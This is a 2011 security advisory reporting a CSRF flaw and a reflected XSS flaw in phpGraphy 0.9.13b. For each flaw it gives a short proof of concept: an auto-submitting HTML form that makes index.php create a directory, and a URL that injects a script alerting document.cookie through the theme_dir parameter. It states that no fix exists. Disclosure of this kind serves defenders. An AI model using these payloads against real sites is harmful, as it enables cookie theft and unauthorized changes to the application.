phpGraphy 0.9.13b Multiple Vulnerabilities

2011-04-29 15:15:03

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Vulnerability ID: HTB22959
Reference: http://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_phpgraphy.html
Product: phpGraphy
Vendor: http://phpgraphy.sourceforge.net/ ( http://phpgraphy.sourceforge.net/ )
Vulnerable Version: 0.9.13b
Vendor Notification: 14 April 2011
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
The vulnerability exists due to failure in the "index.php" script to properly verify the source of HTTP request.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://[host]/index.php" method="post" name="main" id="main">
<input type="hidden" name="createdirname" value="1">
<input type="hidden" name="dircreate" value="1">
<input type="hidden" name="dir" value="">
<input type="hidden" name="submit" value="OK">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>


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Vulnerability ID: HTB22958
Reference: http://www.htbridge.ch/advisory/xss_in_phpgraphy.html
Product: phpGraphy
Vendor: http://phpgraphy.sourceforge.net/ ( http://phpgraphy.sourceforge.net/ )
Vulnerable Version: 0.9.13b
Vendor Notification: 14 April 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/themes/default/header.inc.php" script to properly sanitize user-supplied input in "theme_dir" variable then register_globals on.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

The following PoC is available:


http://[host]/themes/default/header.inc.php?theme_dir=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Fixes

No fixes

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